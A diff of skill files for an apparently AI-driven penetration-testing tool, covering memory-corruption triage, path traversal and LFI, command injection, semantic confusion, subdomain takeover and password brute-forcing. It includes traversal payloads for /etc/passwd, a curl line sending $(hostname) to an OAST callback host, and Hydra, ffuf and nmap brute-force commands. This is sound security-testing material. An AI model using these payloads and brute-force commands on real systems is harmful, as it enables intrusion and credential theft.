Use official [Ghidra](https://github.com/NationalSecurityAgency/ghidra) for cross-architecture static analysis and [BinDiff](https://github.com/google/bindiff) for function-level version comparison after package/file diffs narrow the target. Similarity scores and decompiled C are triage aids, not proof; confirm critical conditions in assembly and runtime evidence.
|
||||
|
||||
## Crash and Disclosure Triage
|
||||
|
||||
Preserve one known-good transcript and then minimize while keeping the framing, checksums, parser state, and negotiation required to reach the vulnerable operation. Identify the first invalid access, not only the eventual crash site. Use a distinctive non-executable pattern to measure overwrite offset or disclosure position, classify whether the observed effect is read, write, non-control-data, pointer/object, or control-state influence, and then repeat the same case on a representative unsanitized build plus fixed and negative controls.
|
||||
|
||||
For each case, record:
|
||||
|
||||
- exact minimized input and protocol transcript
|
||||
- deterministic frequency and required heap/session preparation
|
||||
- signal/exception, PC, faulting instruction bytes/disassembly, fault address, access type/size, registers, stack, loaded mappings/build IDs, and relevant object memory
|
||||
- process versus worker crash, watchdog/restart, and external symptom
|
||||
- corrupted object provenance and last known-valid parser state
|
||||
- vulnerable/fixed/unaffected build behavior
|
||||
- whether the same case under debugger/sanitizer changes outcome
|
||||
|
||||
Deduplicate by root cause, not only crash address. One overwrite may crash at many later consumers; one parser family may contain multiple distinct missing checks.
|
||||
|
||||
For disclosures, classify the returned bytes:
|
||||
|
||||
- predictable padding or constant data
|
||||
- same-request content
|
||||
- cross-request/tenant secrets
|
||||
- heap/stack pointers useful against ASLR
|
||||
- session tokens, keys, credentials, or application data
|
||||
|
||||
Derive detectors from response structure or a constant non-secret marker rather than collecting sensitive memory.
|
||||
|
||||
## Primitive Analysis
|
||||
|
||||
### Write Primitive
|
||||
|
||||
- location: fixed, relative, attacker-derived, heap-neighbor, object field, return/control data
|
||||
- width and count: single byte/bit, bounded span, arbitrary length, repeated writes
|
||||
- value control: exact, restricted alphabet, additive, terminator, pointer-derived
|
||||
- timing/state: before validation, after free, race-dependent, heap-shape-dependent
|
||||
- repeatability under default allocator and mitigations
|
||||
|
||||
### Read/Leak Primitive
|
||||
|
||||
- offset and length control
|
||||
- termination rules and response encoding
|
||||
- ability to repeat/advance across memory
|
||||
- cross-request process reuse
|
||||
- pointer or secret classification
|
||||
- noise, truncation, and crash threshold
|
||||
|
||||
### Control-Flow/Object Primitive
|
||||
|
||||
- overwritten callback, vtable, length, non-control-data flag, pointer, credential/session reference, allocator metadata, saved return state, or interpreter structure
|
||||
- required heap grooming/object placement
|
||||
- available modules/gadgets and address disclosure
|
||||
- thread/process privilege and sandbox boundary after control
|
||||
- whether the attacker can only corrupt a field, or can also choose the dereference target and value later consumed
|
||||
|
||||
Document what remains constrained. “Arbitrary write” should not be used for a relative, partial, alphabet-limited, or race-only overwrite.
|
||||
|
||||
## Exploitability Matrix
|
||||
|
||||
| Dimension | Record |
|
||||
|---|---|
|
||||
| Reachability | listener, authentication, feature/config, valid prior state |
|
||||
| Platform | architecture, endian, ABI, firmware model/SKU |
|
||||
| Input | transport, maximum size, forbidden bytes, encoding/transforms |
|
||||
| Primitive | read/write/control precision, repeatability, heap dependence |
|
||||
| Mitigations | ASLR/PIE, NX, canary, RELRO, CFI/PAC/CET, allocator, sandbox |
|
||||
| Process | privilege, chroot/container, worker isolation, watchdog/restart |
|
||||
| Information | version fingerprint, pointer/module/heap leak availability |
|
||||
| Reliability | attempts, races, connection/session persistence, crash side effects |
|
||||
|
||||
Rate exploitability separately from bug severity. A strong memory disclosure can enable a later control-flow bug; a large overflow may remain crash-only under the deployed constraints.
|
||||
|
||||
## Protocol and Patch Pairing
|
||||
|
||||
- Load `protocol_reverse_engineering` when valid negotiation/state is required before the vulnerable field.
|
||||
- Load `advisory_to_poc` for vulnerable/fixed artifact matrices and patch-invariant review.
|
||||
- Load `appliance_firmware` for rootfs, listener, runtime overlay, architecture, and device lifecycle mapping.
|
||||
- Load `semantic_confusion` when the memory length/type changes across transport, parser, decoder, or native FFI boundaries.
|
||||
|
||||
## Validation Deliverable
|
||||
|
||||
Include:
|
||||
|
||||
1. exact vulnerable/fixed build, platform, configuration, and artifact hashes
|
||||
2. minimized input plus complete protocol/parser prerequisites
|
||||
3. source, IR/bytecode, or assembly trace from attacker field to invalid access, with the exact crashing process/build identity
|
||||
4. debugger/sanitizer/core evidence and non-triggering control
|
||||
5. primitive precision and constraints
|
||||
6. mitigation, architecture, allocator, process, and restart analysis
|
||||
7. bug-existence and exploitability conclusions stated separately
|
||||
8. adjacent callers/parser family reviewed
|
||||
|
||||
## False Positives
|
||||
|
||||
- Connection close caused by protocol rejection, idle timeout, rate limit, or load balancer behavior.
|
||||
- Process restart inferred from one failed request without process/console evidence.
|
||||
- Sanitizer finding unreachable in the deployed feature, route, architecture, or configuration.
|
||||
- Out-of-bounds read that returns only deterministic in-buffer padding, described as sensitive disclosure.
|
||||
- Crash-only overwrite called RCE without a controlled data/control primitive and mitigation analysis.
|
||||
- Decompiler type or buffer size accepted as ground truth without assembly/runtime confirmation.
|
||||
- Lab build with mitigations disabled presented as representative of production.
|
||||
|
||||
## Summary
|
||||
|
||||
Memory-corruption research is constraint analysis. Trace exact bytes through length, allocation, copy, object lifetime, and later use; establish the read/write/control primitive; then evaluate architecture, mitigations, allocator, protocol, and process context independently from the mere existence of a crash.
|
||||
@@ -11,7 +11,6 @@ Improper file path handling and dynamic inclusion enable sensitive file disclosu
|
||||
|
||||
**Path Traversal**
|
||||
- Read files outside intended roots via `../`, encoding, normalization gaps
|
||||
- Write or create files outside intended roots, then evaluate framework-controlled resolution paths separately from direct web access
|
||||
|
||||
**Local File Inclusion (LFI)**
|
||||
- Include server-side files into interpreters/templates
|
||||
@@ -52,7 +51,7 @@ Improper file path handling and dynamic inclusion enable sensitive file disclosu
|
||||
### Capability Probes
|
||||
|
||||
- Path traversal baseline: `../../etc/hosts` and `C:\Windows\win.ini`
|
||||
- Encodings: `%2e%2e%2f`, `%252e%252e%252f`, `..%2f`, `..%5c`, and Unicode lookalikes only where a documented conversion layer maps them to path syntax
|
||||
- Encodings: `%2e%2e%2f`, `%252e%252e%252f`, `..%2f`, `..%5c`, mixed UTF-8 (`%c0%2e`), Unicode dots and slashes
|
||||
- Normalization tests: `..../`, `..\\`, `././`, trailing dot/double dot segments; repeated decoding
|
||||
- Absolute path acceptance: `/etc/passwd`, `C:\Windows\System32\drivers\etc\hosts`
|
||||
- Server mismatch: `/static/..;/../etc/passwd` ("..;"), encoded slashes (`%2F`), double-decoding via upstream
|
||||
@@ -70,7 +69,7 @@ Improper file path handling and dynamic inclusion enable sensitive file disclosu
|
||||
|
||||
### OAST
|
||||
|
||||
- For RFI or URL-capable resource loaders, a correlated callback confirms server-side resolution/fetch. It does not by itself prove inclusion or execution; use a separate response or side-effect oracle for that claim.
|
||||
- RFI/LFI with wrappers that trigger outbound fetches (HTTP/DNS) to confirm inclusion/execution
|
||||
|
||||
### Side Effects
|
||||
|
||||
@@ -82,7 +81,7 @@ Improper file path handling and dynamic inclusion enable sensitive file disclosu
|
||||
### Path Traversal Bypasses
|
||||
|
||||
**Encodings**
|
||||
- Single/double URL-encoding, mixed case, UTF-16 or Unicode conversion only when present in the stack, and path normalization oddities
|
||||
- Single/double URL-encoding, mixed case, overlong UTF-8, UTF-16, path normalization oddities
|
||||
|
||||
**Mixed Separators**
|
||||
- `/` and `\\` on Windows; `//` and `\\\\` collapse differences across frameworks
|
||||
@@ -148,38 +147,13 @@ Improper file path handling and dynamic inclusion enable sensitive file disclosu
|
||||
- Verify symlink handling and path canonicalization prior to write
|
||||
- Impact: overwrite config/templates or drop webshells into served directories
|
||||
|
||||
### File Write to Execution
|
||||
|
||||
Characterize the write primitive before choosing a payload:
|
||||
|
||||
- create vs overwrite vs append; atomic replace vs streamed write
|
||||
- absolute vs relative path; controllable directory, filename, extension, and bytes
|
||||
- text encoding, newline conversion, templating, compression, or report generation applied before write
|
||||
- target process permissions and whether symlinks are followed
|
||||
- immediate load, hot reload, cache invalidation, restart, scheduled task, or user action required
|
||||
|
||||
Then inventory generic execution and influence surfaces:
|
||||
|
||||
- view/template search paths and implicit rendering
|
||||
- module, controller, plugin, package, or class autoload directories
|
||||
- application bootstrap files and language package initializers
|
||||
- server/user configuration that changes handler or interpreter behavior
|
||||
- job definitions, hooks, startup scripts, cron/task inputs, and CI workspace files
|
||||
- logs, sessions, caches, generated sources, and compiled-template directories later included or evaluated
|
||||
|
||||
Do not require the malicious file to be directly web-accessible. An HTTP extension allowlist can block `/path/payload.ext` while an internal view engine, autoloader, or interpreter still opens and executes that file through a clean route. Trace public request filtering and internal file resolution as separate security boundaries.
|
||||
|
||||
Test search order with candidate marker files or filesystem traces. Trigger the normal route/action that causes internal resolution. Record whether the framework creates, compiles, caches, or executes the artifact and what reload condition is required.
|
||||
|
||||
## Testing Methodology
|
||||
|
||||
1. **Inventory file operations** - Downloads, previews, templates, logs, exports/imports, report engines, uploads, archive extractors
|
||||
2. **Identify input joins** - Path joins (base + user), include/require/template loads, resource fetchers, archive extract destinations
|
||||
3. **Probe normalization** - Separators, encodings, double-decodes, case, trailing dots/slashes
|
||||
4. **Compare behaviors** - Web server vs application behavior
|
||||
5. **Characterize writes** - Determine create/overwrite/append, path and byte control, permissions, and reload/trigger conditions
|
||||
6. **Map resolvers** - Test template/view search paths, autoloaders, plugins, configs, jobs, and other internal consumers separately from direct file serving
|
||||
7. **Escalate** - From disclosure (read) to influence (write/extract/include), then to execution through a proven resolver or interpreter
|
||||
5. **Escalate** - From disclosure (read) to influence (write/extract/include), then to execution (wrapper/engine chains)
|
||||
|
||||
## Validation
|
||||
|
||||
@@ -187,8 +161,7 @@ Test search order with candidate marker files or filesystem traces. Trigger the
|
||||
2. For LFI, demonstrate inclusion of a benign local file or harmless wrapper output (`php://filter` base64 of index.php)
|
||||
3. For RFI, prove remote fetch by OAST or controlled output; avoid destructive payloads
|
||||
4. For Zip Slip, create an archive with `../` entries and show write outside target (e.g., marker file read back)
|
||||
5. For file-write chains, first prove a canary is created at the intended path, then prove the normal resolver loads it; document cache/reload requirements
|
||||
6. Provide before/after file paths, exact requests, and content hashes/lengths for reproducibility
|
||||
5. Provide before/after file paths, exact requests, and content hashes/lengths for reproducibility
|
||||
|
||||
## False Positives
|
||||
|
||||
@@ -211,7 +184,6 @@ Test search order with candidate marker files or filesystem traces. Trigger the
|
||||
3. For LFI, prefer `php://filter` base64 probes over destructive payloads; enumerate readable logs and sessions
|
||||
4. Validate extraction code with synthetic archives; include symlinks and deep `../` chains
|
||||
5. Use minimal PoCs and hard evidence (hashes, paths). Avoid noisy DoS against filesystems
|
||||
6. When direct execution is blocked, enumerate internal search paths before assuming the write is low impact
|
||||
|
||||
## Summary
|
||||
|
||||
|
||||
@@ -80,7 +80,6 @@ curl https://xyz.oast.fun/$(hostname)
|
||||
- Break out of quoted segments by alternating quotes and escapes
|
||||
- Environment expansion: `$PATH`, `${HOME}`, command substitution
|
||||
- Windows: `%TEMP%`, `!VAR!`, PowerShell `$(...)`
|
||||
- When a shell-free subprocess (`execve`/`subprocess.run([...])`) receives a user-controlled argument, load `argument_injection` to test option smuggling and any separately identified argv or secondary-parser boundary.
|
||||
|
||||
**Path and Builtin Confusion**
|
||||
- Force absolute paths (`/usr/bin/id`) vs relying on PATH
|
||||
|
||||
@@ -1,189 +0,0 @@
|
||||
---
|
||||
name: semantic-confusion
|
||||
description: Cross-component semantic confusion testing for parser differentials, normalization mismatches, overloaded fields, lifecycle state drift, internal redirects, protocol translation, and validator-to-sink inconsistencies
|
||||
---
|
||||
|
||||
# Semantic Confusion
|
||||
|
||||
Use this skill when two or more components consume the same attacker-influenced value. The central question is not merely whether input is validated, but whether every consumer assigns the same meaning to the value at the moment it makes a security decision.
|
||||
|
||||
Typical chains cross a validator, router, proxy, framework, parser, filesystem, interpreter, cache, or browser. A value can be safe in one representation and dangerous after a later decode, normalization, fallback, or field mutation.
|
||||
|
||||
## Authorization and Safety Boundary
|
||||
|
||||
- Run active differentials only against explicit authorized targets. Preserve destination allowlists and set request, rate, body, response, timeout, and retry ceilings.
|
||||
- Perform malformed framing, delayed-body, oversized-input, crash, or resource-exhaustion cases only in a restartable isolated lab with health monitoring.
|
||||
- Use synthetic canaries, reversible actions, non-secret protected resources, or a constant per-test callback identifier. Never place target-derived secrets in an OAST label/body.
|
||||
- Change one representation axis at a time so the security-relevant disagreement remains attributable to a specific boundary.
|
||||
- Pair `protocol_reverse_engineering` when framing or authentication depends on prior binary/stateful protocol messages. Pair `browser_security` when the final consumer is a browser context, worker, cache, or navigation state machine.
|
||||
- Do not load this skill for pure ownership drift where every component resolves and interprets the name consistently; use `infrastructure_lifecycle` unless a representation, alias, identity, or resolution-result mismatch is present.
|
||||
|
||||
## Core Model
|
||||
|
||||
Build a transformation graph before spraying payloads:
|
||||
|
||||
```text
|
||||
raw bytes
|
||||
-> transport parser
|
||||
-> proxy / middleware representation
|
||||
-> authorization or validation decision
|
||||
-> rewrite / decode / normalization
|
||||
-> internal redirect or dispatch
|
||||
-> final sink interpretation
|
||||
```
|
||||
|
||||
For every edge, record:
|
||||
|
||||
- exact input representation: bytes, string, URL, path, header list, object, or structured field
|
||||
- owning component and implementation/version
|
||||
- transformation performed, including error and fallback behavior
|
||||
- security decision made before or after the transformation
|
||||
- whether the original and transformed values remain available simultaneously
|
||||
- whether a field changes semantic type, such as filename to URL or MIME type to handler
|
||||
|
||||
The highest-signal condition is `security_check(value_A)` followed by `sink(transform(value_A))` where the checked and consumed representations are not equivalent.
|
||||
|
||||
## High-Value Confusion Classes
|
||||
|
||||
### Parser Differentials
|
||||
|
||||
- Compare browser, framework, proxy, library, and backend parsing of the exact same bytes.
|
||||
- Test duplicate and comma-joined fields, first-match vs last-match behavior, invalid-token recovery, comments, quoting, and empty members.
|
||||
- Include structured formats and metadata: URL, MIME, JSON, multipart, XML, cookies, forwarded headers, and serialized objects.
|
||||
- Treat leniency as a security feature only when every downstream consumer is equally lenient in the same way.
|
||||
|
||||
### Normalization and Canonicalization Drift
|
||||
|
||||
- Map percent-decoding count, Unicode conversion, slash/backslash handling, dot-segment removal, case folding, IDNA, numeric IP conversion, and filesystem cleanup.
|
||||
- Compare string-prefix checks with segment-aware or origin-aware comparisons.
|
||||
- Test malformed Unicode and replacement behavior; a rejected code point may become an allowed delimiter or wildcard later.
|
||||
- Test path, query, and fragment separately. Browsers and routers commonly transform each source differently.
|
||||
|
||||
### Field and Type Overloading
|
||||
|
||||
- Identify shared fields reused for different concepts: path vs URL, content type vs handler, display name vs executable name, route vs filesystem location.
|
||||
- Trace every writer and reader of the field across the complete lifecycle.
|
||||
- Look for implicit fallback: when the intended field is empty, another field becomes authoritative.
|
||||
- Exercise fields after errors, rewrites, subrequests, retries, internal redirects, and protocol upgrades/downgrades.
|
||||
|
||||
### Lifecycle and State Drift
|
||||
|
||||
- Trigger error paths that should terminate processing and verify that later phases actually stop.
|
||||
- Look for stale metadata copied into a new request, subrequest, background job, cache entry, or retry.
|
||||
- Compare direct external access with internal dispatch. Edge controls may inspect the public URL while an internal resolver opens a different path or invokes a different handler.
|
||||
- Test order-dependent behavior: validation before rewrite, auth before route normalization, or content classification before processing.
|
||||
|
||||
### Boundary Translation
|
||||
|
||||
- Map HTTP/2 to HTTP/1 translation, proxy to application rewriting, URL to filesystem resolution, upload detector to content consumer, and client router to API request construction.
|
||||
- In a restartable lab and only when supported by evidence, vary framing, bounded delays/body sizes, content type, pseudo-headers, and method conversion. Check target health after resource-sensitive cases.
|
||||
- Do not assume a WAF or authorization sidecar sees the full body or final normalized request.
|
||||
|
||||
### Namespace and Resolution Fallback
|
||||
|
||||
- Identify names resolved across multiple scopes: local path, environment `PATH`, cache, private registry, public registry, plugin directory, template search path, or autoloader.
|
||||
- Record lookup order and what happens when the intended entry is missing.
|
||||
- Compare protected package/module names with exposed command, binary, handler, or alias names. For npm, a scoped package can expose an unscoped `bin` name, so the protected package name and invoked executable may differ.
|
||||
- Treat automatic remote fallback or search-path fallback as an execution boundary.
|
||||
- Load `npx_confusion` when `npx` or `npm exec` may reinterpret a missing executable as a public package spec.
|
||||
|
||||
## Reconnaissance
|
||||
|
||||
### Black-Box Mapping
|
||||
|
||||
1. Capture a clean baseline with raw request and response bytes.
|
||||
2. Change one representation axis at a time: encoding depth, delimiter, duplicate, separator, method, protocol, body framing, or Unicode form.
|
||||
3. Diff status, headers, body digest/length, timing, redirects, cache state, and out-of-band callbacks.
|
||||
4. Replay through different paths: direct origin vs CDN, HTTP/1.1 vs HTTP/2, public route vs alternate host, synchronous vs background processing.
|
||||
5. Cluster responses by behavior before escalating. Small differentials reveal component boundaries.
|
||||
|
||||
### Source-Aware Mapping
|
||||
|
||||
- Find every read and write of shared request/context fields, not just the obvious sink.
|
||||
- Trace route matching, auth middleware, rewrites, internal redirects, handler selection, and response generation in execution order.
|
||||
- Inventory decode/parse/normalize calls and note whether return values or errors are ignored.
|
||||
- Search for compatibility fallbacks, legacy aliases, permissive recovery, default handlers, and search-path iteration.
|
||||
- Inspect packaging and deployment defaults; distro configuration, enabled modules, plugins, and symlinks often determine reachability.
|
||||
|
||||
## Differential Test Matrix
|
||||
|
||||
Build a bounded matrix from relevant axes instead of blindly combining everything:
|
||||
|
||||
| Axis | Representative variants |
|
||||
|---|---|
|
||||
| Encoding | raw, once encoded, twice encoded, mixed case, malformed Unicode |
|
||||
| Structure | duplicate, comma-joined, empty member, quoted, comment-like suffix |
|
||||
| Path | `/`, `\\`, `//`, dot segments, absolute, sibling-prefix collision |
|
||||
| URL | userinfo, numeric IP, alternate IP radix, trailing dot, fragment/query split |
|
||||
| Transport | HTTP/1.1, HTTP/2, chunked/fixed body, delayed DATA, oversized body |
|
||||
| Lifecycle | normal, error, retry, internal redirect, cache hit, background worker |
|
||||
| Consumer | edge, application, library, filesystem, interpreter, browser |
|
||||
|
||||
Select axes supported by evidence from the target. Record which component saw which representation.
|
||||
|
||||
### Repeatable Harnesses
|
||||
|
||||
- For two local parsers, canonicalizers, or validator/consumer functions, load `hypothesis` and express the expected relationship as a property. Bound sizes/examples and keep the minimized disagreement as a regression test.
|
||||
- For an ordered HTTP flow with cookies, redirects, captured values, and assertions, load `hurl` and encode vulnerable, fixed, and negative-control environments using the same request chain.
|
||||
- Use raw-byte or protocol-specific harnesses when a high-level HTTP client would normalize the ambiguity away.
|
||||
- Separate input generation from transport. Generators that are safe against pure local functions become active fuzzers when connected to a live target.
|
||||
|
||||
## Chaining Strategy
|
||||
|
||||
Treat the first differential as a primitive, then ask what authority the later consumer has:
|
||||
|
||||
- auth or ACL bypass -> protected route or file
|
||||
- path/URL confusion -> source disclosure, SSRF, local socket, or unintended handler
|
||||
- detector/consumer mismatch -> active upload processing or inline browser execution
|
||||
- internal redirect state carryover -> handler selection or policy bypass
|
||||
- search-path or namespace fallback -> attacker-controlled code resolution
|
||||
- browser/router decode -> client-side path traversal, CSRF-like action, SSRF, or XSS sink
|
||||
|
||||
Enumerate existing local gadgets only after the primitive is proven. Prefer generic classes such as interpreters, template engines, debug tools, package scripts, local sockets, and autoload paths over a vendor-specific file list.
|
||||
|
||||
## Testing Methodology
|
||||
|
||||
1. **Define the invariant** - State what all components are expected to agree on: origin, path, type, handler, identity, length, or package name.
|
||||
2. **Draw the graph** - List consumers and transformations in real execution order.
|
||||
3. **Locate early decisions** - Mark validation, auth, WAF, cache, and routing checks.
|
||||
4. **Locate late meaning changes** - Mark decodes, rewrites, fallback, internal dispatch, and sink parsing.
|
||||
5. **Build a focused matrix** - Exercise only transformations supported by the stack.
|
||||
6. **Isolate the disagreement** - Produce paired inputs that differ at one boundary and explain both interpretations.
|
||||
7. **Prove the primitive safely** - Use a synthetic protected canary, reversible marker, constant callback identifier, or no-op handler whose behavior and side effects are understood.
|
||||
8. **Escalate by capability** - Track Read -> influence -> write -> dispatch -> execute transitions with evidence and prerequisites for every edge.
|
||||
9. **Cross-check versions/configurations** - Reproduce on a fixed version or hardened configuration when possible.
|
||||
|
||||
## Validation
|
||||
|
||||
A valid confusion finding should include:
|
||||
|
||||
1. the exact bytes or structured input supplied
|
||||
2. the representation observed by the security control
|
||||
3. the different representation observed by the final consumer
|
||||
4. the transformation or lifecycle event that created the difference
|
||||
5. paired control and exploit results across repeat runs
|
||||
6. version, protocol, configuration, and interaction prerequisites
|
||||
7. a minimal impact proof that does not depend on unrelated undefined behavior
|
||||
|
||||
## False Positives
|
||||
|
||||
- Different error messages with identical final authorization and sink behavior
|
||||
- A parser accepts odd syntax but downstream consumers preserve the same safe meaning
|
||||
- A normalization difference visible only in logs, with no security decision between representations
|
||||
- WAF bypass where the application itself rejects the request identically
|
||||
- Version-specific behavior claimed as universal without testing the relevant deployment
|
||||
- A search-path candidate that is attacker-named but cannot be created, claimed, loaded, or executed
|
||||
|
||||
## Pro Tips
|
||||
|
||||
1. Begin with relationships and shared state, not endpoint payload lists.
|
||||
2. Preserve raw traffic; high-level clients often normalize away the exploit before sending it.
|
||||
3. Error paths are alternate lifecycles. Verify which fields survive and which phases still execute.
|
||||
4. Compare direct and internal access separately; ingress policy rarely governs framework file IO or handler dispatch.
|
||||
5. When a prefix allowlist is used, test a sibling sharing the prefix and verify with a segment-aware comparison.
|
||||
6. Distinguish presence, reachability, and impact. Each needs separate evidence.
|
||||
7. Generalize a finding by naming the disagreement class, not by copying its final payload.
|
||||
|
||||
## Summary
|
||||
|
||||
Semantic confusion exists when a security decision and a privileged consumer disagree about the meaning of the same attacker-influenced data. Model the entire transformation lifecycle, isolate one disagreement at a time, and prove both interpretations. The reusable unit is the boundary and its invariant—not a CVE-specific string.
|
||||
@@ -7,8 +7,6 @@ description: Subdomain takeover testing for dangling DNS records and unclaimed c
|
||||
|
||||
Subdomain takeover lets an attacker serve content from a trusted subdomain by claiming resources referenced by dangling DNS (CNAME/A/ALIAS/NS) or mis-bound provider configurations. Consequences include phishing on a trusted origin, cookie and CORS pivot, OAuth redirect abuse, and CDN cache poisoning.
|
||||
|
||||
Use `infrastructure_lifecycle` instead for expired registrable domains, MX/recovery identity, update/control endpoints, or long-lived software consumers. Provider error fingerprints are leads; confirm current claimability and custom-domain ownership requirements from authoritative provider behavior/documentation.
|
||||
|
||||
## Attack Surface
|
||||
|
||||
- Dangling CNAME/A/ALIAS to third-party services (hosting, storage, serverless, CDN)
|
||||
@@ -154,7 +152,7 @@ TLS clues: certificate CN/SAN referencing provider default host instead of the c
|
||||
|
||||
## Pro Tips
|
||||
|
||||
1. Build a pipeline: enumerate (subfinder) → resolve (dig) → probe (httpx) → fingerprint (nuclei/custom) → verify claims
|
||||
1. Build a pipeline: enumerate (subfinder/amass) → resolve (dnsx) → probe (httpx) → fingerprint (nuclei/custom) → verify claims
|
||||
2. Maintain a current fingerprint corpus; provider messages change frequently
|
||||
3. Prefer minimal PoCs: static "ownership proof" page and, where allowed, DV cert issuance
|
||||
4. Monitor CT for unexpected certs on your subdomains
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
---
|
||||
name: weak-password-detection
|
||||
description: Weak password detection, credential stuffing, and brute-force testing using common passwords, system-generated credentials, and HTTP fuzzing / NSE brute-force tooling
|
||||
description: Weak password detection, credential stuffing, and brute-force testing using common passwords, system-generated credentials, and tooling like Hydra
|
||||
---
|
||||
|
||||
# Weak Password Detection / Credential Brute-Force
|
||||
@@ -98,7 +98,7 @@ Weak or default credentials remain one of the most prevalent and high-impact vul
|
||||
- Season + year patterns: `Summer2025!`, `Winter2026@`
|
||||
- Keyboard walks and leet speak variations
|
||||
- Previously breached passwords for the target domain
|
||||
- Scrape the target site to build a content-derived wordlist (e.g. a small custom Python crawler that harvests unique words)
|
||||
- Cewl: `cewl -d 3 -m 5 -w custom.txt https://target.com` to generate from website content
|
||||
|
||||
### Credential Stuffing Workflows
|
||||
|
||||
@@ -123,25 +123,37 @@ Weak or default credentials remain one of the most prevalent and high-impact vul
|
||||
|
||||
### Service-Level Brute-Force
|
||||
|
||||
- HTTP login endpoints: `ffuf` or custom scripts (see Tooling)
|
||||
- SSH/FTP/SMB/Telnet and other services: `nmap` NSE `*-brute` scripts, e.g. `nmap -p 22 --script ssh-brute --script-args userdb=users.txt,passdb=passwords.txt target.com`
|
||||
- Databases (MySQL, PostgreSQL, MongoDB, Redis): weak/default credentials via the matching NSE brute script (`mysql-brute`, `pgsql-brute`, `mongodb-brute`, `redis-brute`) or a custom client script
|
||||
- Any protocol lacking a ready script: custom Python
|
||||
- SSH: `hydra -l admin -P passwords.txt ssh://target.com`
|
||||
- FTP: `hydra -L users.txt -P passwords.txt ftp://target.com`
|
||||
- RDP: `hydra -l administrator -P passwords.txt rdp://target.com`
|
||||
- SMB: `hydra -L users.txt -P passwords.txt smb://target.com`
|
||||
- Database: MySQL, PostgreSQL, MongoDB, Redis with weak credentials
|
||||
- API endpoints: `ffuf` or custom scripts for HTTP-based brute-force
|
||||
|
||||
## Tooling
|
||||
|
||||
### ffuf (primary for web logins)
|
||||
### Hydra (Primary Tool)
|
||||
|
||||
- HTTP POST form brute-force:
|
||||
`hydra -l admin -P /usr/share/wordlists/rockyou.txt target.com http-post-form "/login:username=^USER^&password=^PASS^:Invalid credentials"`
|
||||
- Basic Auth:
|
||||
`hydra -L users.txt -P passwords.txt target.com http-get -s 8080 /admin`
|
||||
- SSH:
|
||||
`hydra -l root -P passwords.txt -t 4 ssh://target.com`
|
||||
- FTP:
|
||||
`hydra -L users.txt -P passwords.txt ftp://target.com`
|
||||
- Custom headers and cookies:
|
||||
`hydra ... http-post-form "/api/login:json={\"user\":\"^USER^\",\"pass\":\"^PASS^\"}:F=401"`
|
||||
|
||||
### ffuf (HTTP Fuzzing)
|
||||
|
||||
- Login brute-force with multiple users and passwords:
|
||||
`ffuf -w users.txt:USER -w passwords.txt:PASS -u https://target.com/login -X POST -d "username=USER&password=PASS" -fr "Invalid"`
|
||||
- JSON body / custom headers via `-H` and a JSON `-d` payload
|
||||
- Filter by response size, status code, or regex to identify successes
|
||||
|
||||
### nmap NSE (service brute-force)
|
||||
### Patator (Versatile Brute-Force)
|
||||
|
||||
- `*-brute` scripts cover many non-HTTP services:
|
||||
`nmap -p 22 --script ssh-brute --script-args userdb=users.txt,passdb=passwords.txt target.com`
|
||||
- Available scripts include `ssh-brute`, `ftp-brute`, `smb-brute`, `telnet-brute`, `mysql-brute`, `pgsql-brute`, `mongodb-brute`, `redis-brute`, `http-brute`, `http-form-brute`.
|
||||
- `patator http_fuzz url=https://target.com/login method=POST body='username=FILE0&password=FILE1' 0=user.txt 1=pass.txt -x ignore:fgrep='Invalid'`
|
||||
|
||||
### Custom Python Scripts
|
||||
|
||||
@@ -151,10 +163,10 @@ Weak or default credentials remain one of the most prevalent and high-impact vul
|
||||
|
||||
### Wordlists
|
||||
|
||||
No password wordlists ship in the sandbox by default — download what you need into `/home/pentester/tools/wordlists` at runtime:
|
||||
- Common passwords (e.g. `rockyou.txt`) from its upstream source
|
||||
- SecLists `Passwords/` and `Passwords/Default-Credentials/` (vendor defaults) from https://github.com/danielmiessler/SecLists
|
||||
- Custom lists from target-specific scraping
|
||||
- `/usr/share/wordlists/rockyou.txt` (common passwords)
|
||||
- `/usr/share/seclists/Passwords/` (organized by category)
|
||||
- `/usr/share/seclists/Passwords/Default-Credentials/` (vendor defaults)
|
||||
- Custom lists from Cewl, CeWL, or target-specific scraping
|
||||
- Breach compilation subsets filtered by target relevance
|
||||
|
||||
## Validation
|
||||
@@ -192,7 +204,7 @@ No password wordlists ship in the sandbox by default — download what you need
|
||||
6. Check for concurrent session limits; successful logins may kick out legitimate users
|
||||
7. GraphQL batching can test multiple credentials in a single request, bypassing per-request limits
|
||||
8. Document the password policy and recommend minimum standards (length, complexity, breach checking)
|
||||
9. For web logins prefer `ffuf`; for other services use `nmap` NSE `*-brute` scripts or custom scripts with equivalent logic
|
||||
9. When Hydra is unavailable, use ffuf or custom scripts with equivalent logic
|
||||
10. Combine with MFA testing: weak passwords plus missing MFA is a critical finding
|
||||
|
||||
## Summary
|
||||
|
||||
@@ -15,7 +15,7 @@ We collect only very **basic** usage data including:
|
||||
**Session Errors:** Duration and error types (not messages or stack traces)\
|
||||
**System Context:** OS type, architecture, Strix version\
|
||||
**Scan Context:** Scan mode (quick/standard/deep), scan type (whitebox/blackbox)\
|
||||
**Model Usage:** Which LLM model is being used and whether it runs via an API key or a model subscription (not prompts or responses)\
|
||||
**Model Usage:** Which LLM model is being used (not prompts or responses)\
|
||||
**Feature Usage:** Which built-in skills are loaded\
|
||||
**Aggregate Metrics:** Vulnerability counts by severity and weakness category (CWE)
|
||||
|
||||
|
||||
@@ -1,9 +1,9 @@
|
||||
import json
|
||||
import logging
|
||||
import urllib.request
|
||||
from datetime import datetime
|
||||
from typing import TYPE_CHECKING, Any
|
||||
|
||||
import requests
|
||||
|
||||
from strix.config import load_settings
|
||||
from strix.telemetry._common import (
|
||||
SESSION_ID,
|
||||
@@ -37,7 +37,13 @@ def _send(event: str, properties: dict[str, Any]) -> bool:
|
||||
"distinct_id": SESSION_ID,
|
||||
"properties": properties,
|
||||
}
|
||||
requests.post(f"{_POSTHOG_HOST}/capture/", json=payload, timeout=10)
|
||||
req = urllib.request.Request( # noqa: S310
|
||||
f"{_POSTHOG_HOST}/capture/",
|
||||
data=json.dumps(payload).encode(),
|
||||
headers={"Content-Type": "application/json"},
|
||||
)
|
||||
with urllib.request.urlopen(req, timeout=10): # noqa: S310 # nosec B310
|
||||
pass
|
||||
except Exception: # noqa: BLE001
|
||||
logger.debug("posthog send failed for event %s", event, exc_info=True)
|
||||
return False
|
||||
@@ -52,14 +58,12 @@ def start(
|
||||
is_whitebox: bool,
|
||||
interactive: bool,
|
||||
has_instructions: bool,
|
||||
auth_mode: str | None = None,
|
||||
) -> None:
|
||||
_send(
|
||||
